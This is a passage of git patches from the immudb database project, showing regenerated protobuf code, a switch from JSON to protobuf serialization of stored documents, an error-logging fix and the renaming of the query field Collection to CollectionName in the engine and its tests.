0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, - 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, - 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, - 0x83, 0x01, 0x0a, 0x0d, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, - 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x29, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, - 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, - 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, - 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, - 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, - 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, - 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, - 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, + 0xb0, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x92, 0x41, 0x7c, 0x12, 0x2a, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x14, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x53, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, + 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x33, 0x0a, 0x31, 0x0a, + 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x23, 0x08, 0x02, 0x12, + 0x12, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, + 0x69, 0x65, 0x72, 0x1a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x10, 0x0a, 0x0e, 0x0a, 0x0a, 0x41, 0x70, 0x69, 0x4b, 0x65, 0x79, 0x41, 0x75, 0x74, 0x68, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2457,20 +2479,20 @@ var file_documents_proto_goTypes = []interface{}{ (*InsertDocumentsResponse)(nil), // 20: immudb.model.InsertDocumentsResponse (*ReplaceDocumentsRequest)(nil), // 21: immudb.model.ReplaceDocumentsRequest (*ReplaceDocumentsResponse)(nil), // 22: immudb.model.ReplaceDocumentsResponse - (*SearchDocumentsRequest)(nil), // 23: immudb.model.SearchDocumentsRequest - (*Query)(nil), // 24: immudb.model.Query - (*QueryExpression)(nil), // 25: immudb.model.QueryExpression - (*FieldComparison)(nil), // 26: immudb.model.FieldComparison - (*OrderByClause)(nil), // 27: immudb.model.OrderByClause - (*SearchDocumentsResponse)(nil), // 28: immudb.model.SearchDocumentsResponse - (*DocumentAtRevision)(nil), // 29: immudb.model.DocumentAtRevision - (*DocumentMetadata)(nil), // 30: immudb.model.DocumentMetadata - (*AuditDocumentRequest)(nil), // 31: immudb.model.AuditDocumentRequest - (*AuditDocumentResponse)(nil), // 32: immudb.model.AuditDocumentResponse - (*ProofDocumentRequest)(nil), // 33: immudb.model.ProofDocumentRequest - (*ProofDocumentResponse)(nil), // 34: immudb.model.ProofDocumentResponse - (*DeleteDocumentsRequest)(nil), // 35: immudb.model.DeleteDocumentsRequest - (*DeleteDocumentsResponse)(nil), // 36: immudb.model.DeleteDocumentsResponse + (*DeleteDocumentsRequest)(nil), // 23: immudb.model.DeleteDocumentsRequest + (*DeleteDocumentsResponse)(nil), // 24: immudb.model.DeleteDocumentsResponse + (*SearchDocumentsRequest)(nil), // 25: immudb.model.SearchDocumentsRequest + (*Query)(nil), // 26: immudb.model.Query + (*QueryExpression)(nil), // 27: immudb.model.QueryExpression + (*FieldComparison)(nil), // 28: immudb.model.FieldComparison + (*OrderByClause)(nil), // 29: immudb.model.OrderByClause + (*SearchDocumentsResponse)(nil), // 30: immudb.model.SearchDocumentsResponse + (*DocumentAtRevision)(nil), // 31: immudb.model.DocumentAtRevision + (*DocumentMetadata)(nil), // 32: immudb.model.DocumentMetadata + (*AuditDocumentRequest)(nil), // 33: immudb.model.AuditDocumentRequest + (*AuditDocumentResponse)(nil), // 34: immudb.model.AuditDocumentResponse + (*ProofDocumentRequest)(nil), // 35: immudb.model.ProofDocumentRequest + (*ProofDocumentResponse)(nil), // 36: immudb.model.ProofDocumentResponse (*structpb.Struct)(nil), // 37: google.protobuf.Struct (*structpb.Value)(nil), // 38: google.protobuf.Value (*schema.VerifiableTxV2)(nil), // 39: immudb.schema.VerifiableTxV2 @@ -2484,21 +2506,21 @@ var file_documents_proto_depIdxs = []int32{ 5, // 5: immudb.model.Collection.indexes:type_name -> immudb.model.Index 8, // 6: immudb.model.GetCollectionsResponse.collections:type_name -> immudb.model.Collection 37, // 7: immudb.model.InsertDocumentsRequest.documents:type_name -> google.protobuf.Struct - 24, // 8: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query + 26, // 8: immudb.model.ReplaceDocumentsRequest.query:type_name -> immudb.model.Query 37, // 9: immudb.model.ReplaceDocumentsRequest.document:type_name -> google.protobuf.Struct - 29, // 10: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 24, // 11: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query - 25, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 27, // 13: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause - 26, // 14: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 15: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 38, // 16: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 29, // 17: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 30, // 18: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata - 37, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 29, // 20: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 39, // 21: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 24, // 22: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query + 31, // 10: immudb.model.ReplaceDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 26, // 11: immudb.model.DeleteDocumentsRequest.query:type_name -> immudb.model.Query + 26, // 12: immudb.model.SearchDocumentsRequest.query:type_name -> immudb.model.Query + 27, // 13: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 29, // 14: immudb.model.Query.orderBy:type_name -> immudb.model.OrderByClause + 28, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 38, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 31, // 18: immudb.model.SearchDocumentsResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 32, // 19: immudb.model.DocumentAtRevision.metadata:type_name -> immudb.model.DocumentMetadata + 37, // 20: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 31, // 21: immudb.model.AuditDocumentResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 39, // 22: immudb.model.ProofDocumentResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 2, // 23: immudb.model.DocumentService.CreateCollection:input_type -> immudb.model.CreateCollectionRequest 6, // 24: immudb.model.DocumentService.GetCollection:input_type -> immudb.model.GetCollectionRequest 9, // 25: immudb.model.DocumentService.GetCollections:input_type -> immudb.model.GetCollectionsRequest @@ -2508,10 +2530,10 @@ var file_documents_proto_depIdxs = []int32{ 17, // 29: immudb.model.DocumentService.DeleteIndex:input_type -> immudb.model.DeleteIndexRequest 19, // 30: immudb.model.DocumentService.InsertDocuments:input_type -> immudb.model.InsertDocumentsRequest 21, // 31: immudb.model.DocumentService.ReplaceDocuments:input_type -> immudb.model.ReplaceDocumentsRequest - 35, // 32: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest - 23, // 33: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest - 31, // 34: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest - 33, // 35: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest + 23, // 32: immudb.model.DocumentService.DeleteDocuments:input_type -> immudb.model.DeleteDocumentsRequest + 25, // 33: immudb.model.DocumentService.SearchDocuments:input_type -> immudb.model.SearchDocumentsRequest + 33, // 34: immudb.model.DocumentService.AuditDocument:input_type -> immudb.model.AuditDocumentRequest + 35, // 35: immudb.model.DocumentService.ProofDocument:input_type -> immudb.model.ProofDocumentRequest 3, // 36: immudb.model.DocumentService.CreateCollection:output_type -> immudb.model.CreateCollectionResponse 7, // 37: immudb.model.DocumentService.GetCollection:output_type -> immudb.model.GetCollectionResponse 10, // 38: immudb.model.DocumentService.GetCollections:output_type -> immudb.model.GetCollectionsResponse @@ -2521,10 +2543,10 @@ var file_documents_proto_depIdxs = []int32{ 18, // 42: immudb.model.DocumentService.DeleteIndex:output_type -> immudb.model.DeleteIndexResponse 20, // 43: immudb.model.DocumentService.InsertDocuments:output_type -> immudb.model.InsertDocumentsResponse 22, // 44: immudb.model.DocumentService.ReplaceDocuments:output_type -> immudb.model.ReplaceDocumentsResponse - 36, // 45: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse - 28, // 46: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse - 32, // 47: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse - 34, // 48: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse + 24, // 45: immudb.model.DocumentService.DeleteDocuments:output_type -> immudb.model.DeleteDocumentsResponse + 30, // 46: immudb.model.DocumentService.SearchDocuments:output_type -> immudb.model.SearchDocumentsResponse + 34, // 47: immudb.model.DocumentService.AuditDocument:output_type -> immudb.model.AuditDocumentResponse + 36, // 48: immudb.model.DocumentService.ProofDocument:output_type -> immudb.model.ProofDocumentResponse 36, // [36:49] is the sub-list for method output_type 23, // [23:36] is the sub-list for method input_type 23, // [23:23] is the sub-list for extension type_name @@ -2791,7 +2813,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SearchDocumentsRequest); i { + switch v := v.(*DeleteDocumentsRequest); i { case 0: return &v.state case 1: @@ -2803,7 +2825,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Query); i { + switch v := v.(*DeleteDocumentsResponse); i { case 0: return &v.state case 1: @@ -2815,7 +2837,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*QueryExpression); i { + switch v := v.(*SearchDocumentsRequest); i { case 0: return &v.state case 1: @@ -2827,7 +2849,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FieldComparison); i { + switch v := v.(*Query); i { case 0: return &v.state case 1: @@ -2839,7 +2861,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OrderByClause); i { + switch v := v.(*QueryExpression); i { case 0: return &v.state case 1: @@ -2851,7 +2873,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SearchDocumentsResponse); i { + switch v := v.(*FieldComparison); i { case 0: return &v.state case 1: @@ -2863,7 +2885,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentAtRevision); i { + switch v := v.(*OrderByClause); i { case 0: return &v.state case 1: @@ -2875,7 +2897,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DocumentMetadata); i { + switch v := v.(*SearchDocumentsResponse); i { case 0: return &v.state case 1: @@ -2887,7 +2909,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentRequest); i { + switch v := v.(*DocumentAtRevision); i { case 0: return &v.state case 1: @@ -2899,7 +2921,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AuditDocumentResponse); i { + switch v := v.(*DocumentMetadata); i { case 0: return &v.state case 1: @@ -2911,7 +2933,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProofDocumentRequest); i { + switch v := v.(*AuditDocumentRequest); i { case 0: return &v.state case 1: @@ -2923,7 +2945,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ProofDocumentResponse); i { + switch v := v.(*AuditDocumentResponse); i { case 0: return &v.state case 1: @@ -2935,7 +2957,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDocumentsRequest); i { + switch v := v.(*ProofDocumentRequest); i { case 0: return &v.state case 1: @@ -2947,7 +2969,7 @@ func file_documents_proto_init() { } } file_documents_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDocumentsResponse); i { + switch v := v.(*ProofDocumentResponse); i { case 0: return &v.state case 1: From 7b43ee1542b9096597efadbdf4d01d3549a30538 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 14 May 2023 00:28:32 -0300 Subject: [PATCH 0547/1062] chore(embedded/document): binary serialization of doc payload Signed-off-by: Jeronimo Irazabal --- embedded/document/document_reader.go | 6 +++--- embedded/document/engine.go | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go index d8c9879f5a..acc0b9e985 100644 --- a/embedded/document/document_reader.go +++ b/embedded/document/document_reader.go @@ -17,11 +17,11 @@ package document import ( "context" - "encoding/json" "errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" + "google.golang.org/protobuf/proto" "google.golang.org/protobuf/types/known/structpb" ) @@ -70,7 +70,7 @@ func (r *documentReader) ReadN(ctx context.Context, count int) ([]*protomodel.Do docBytes := row.ValuesByPosition[0].RawValue().([]byte) doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) + err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } @@ -107,7 +107,7 @@ func (r *documentReader) Read(ctx context.Context) (*protomodel.DocumentAtRevisi docBytes := row.ValuesByPosition[0].RawValue().([]byte) doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) + err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cabd1bcb1e..cc1273e0d5 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -18,7 +18,6 @@ package document import ( "bytes" "context" - "encoding/json" "errors" "fmt" @@ -26,6 +25,7 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" + "google.golang.org/protobuf/proto" "google.golang.org/protobuf/types/known/structpb" ) @@ -559,7 +559,7 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru for i, col := range table.Cols() { if col.Name() == DocumentBLOBField { - bs, err := json.Marshal(doc) + bs, err := proto.Marshal(doc) if err != nil { return nil, err } @@ -999,7 +999,7 @@ func (e *Engine) getDocumentAtTransaction( docBytes := encodedDoc.RawValue().([]byte) doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) + err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } From fa50e74dce57b0b3bfeedaff486b4d9f38acbe62 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 15 May 2023 12:25:39 -0300 Subject: [PATCH 0548/1062] chore(pkg/server): log error when closing document reader Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 361f88d0b9..b635cabe72 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -191,7 +191,9 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search if req.Page != pgreader.LastPageNumber+1 || req.PageSize != pgreader.LastPageSize { if pgreader.Reader != nil { err := pgreader.Reader.Close() - s.Logger.Errorf("error closing paginated reader: %s, err = %v", req.SearchId, err) + if err != nil { + s.Logger.Errorf("error closing paginated reader: %s, err = %v", req.SearchId, err) + } } req.Query = pgreader.Query From 9a1ca4f0ccff6d083bc8bfcccf2b93330dc158dc Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 15 May 2023 16:11:11 -0300 Subject: [PATCH 0549/1062] chore(pkg/api): use of path parameters for document-related endpoints Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 18 +- embedded/document/engine_test.go | 38 +- pkg/api/httpclient/client.go | 1083 ++++++++++++++--------- pkg/api/openapi/apidocs.swagger.json | 362 ++++---- pkg/api/proto/documents.proto | 76 +- pkg/api/protomodel/docs.md | 15 +- pkg/api/protomodel/documents.pb.go | 689 +++++++------- pkg/api/protomodel/documents.pb.gw.go | 559 ++++++++++-- pkg/api/protomodel/documents_grpc.pb.go | 50 +- pkg/database/document_database.go | 10 +- pkg/database/document_database_test.go | 8 +- pkg/database/truncator_test.go | 4 +- pkg/server/documents_operations_test.go | 18 +- swagger/swaggeroverrides.js | 4 +- 14 files changed, 1844 insertions(+), 1090 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index cc1273e0d5..f0d2699e68 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -599,7 +599,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, query.Collection) + table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return nil, err } @@ -638,8 +638,8 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, } queryStmt := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.Collection, documentIdFieldName)}, - query.Collection, + []sql.Selector{sql.NewColSelector(query.CollectionName, documentIdFieldName)}, + query.CollectionName, queryCondition, generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(int64(query.Limit)), @@ -690,14 +690,14 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, return nil, nil } - txID, docIDs, err := e.upsertDocuments(ctx, sqlTx, query.Collection, docs, false) + txID, docIDs, err := e.upsertDocuments(ctx, sqlTx, query.CollectionName, docs, false) if err != nil { return nil, err } for _, docID := range docIDs { // fetch revision - searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.Collection, docID) + searchKey, err := e.getKeyForDocument(ctx, sqlTx, query.CollectionName, docID) if err != nil { return nil, err } @@ -733,7 +733,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs return nil, mayTranslateError(err) } - table, err := getTableForCollection(sqlTx, query.Collection) + table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return nil, err } @@ -744,8 +744,8 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs } op := sql.NewSelectStmt( - []sql.Selector{sql.NewColSelector(query.Collection, DocumentBLOBField)}, - query.Collection, + []sql.Selector{sql.NewColSelector(query.CollectionName, DocumentBLOBField)}, + query.CollectionName, queryCondition, generateSQLOrderByClauses(table, query.OrderBy), nil, @@ -1083,7 +1083,7 @@ func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query) e } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, query.Collection) + table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { return err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c1ea00d340..3448a0bec7 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -148,7 +148,7 @@ func TestGetDocument(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -209,7 +209,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -281,7 +281,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with != operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -306,7 +306,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with < operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -331,7 +331,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with <= operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -356,7 +356,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with > operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -381,7 +381,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test query with >= operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -406,7 +406,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with != operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -436,7 +436,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with < operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -461,7 +461,7 @@ func TestQueryDocuments(t *testing.T) { t.Run("test group query with > operator", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -523,7 +523,7 @@ func TestDocumentUpdate(t *testing.T) { t.Run("update document should pass without docID", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -558,7 +558,7 @@ func TestDocumentUpdate(t *testing.T) { // Verify that the document was updated query = &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -589,7 +589,7 @@ func TestDocumentUpdate(t *testing.T) { t.Run("update document should fail when no document is found", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -618,7 +618,7 @@ func TestDocumentUpdate(t *testing.T) { t.Run("update document should fail with a different docID", func(t *testing.T) { query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -676,7 +676,7 @@ func TestFloatSupport(t *testing.T) { // query document query := &protomodel.Query{ - Collection: collectionName, + CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -890,7 +890,7 @@ func TestBulkInsert(t *testing.T) { require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) - reader, err := 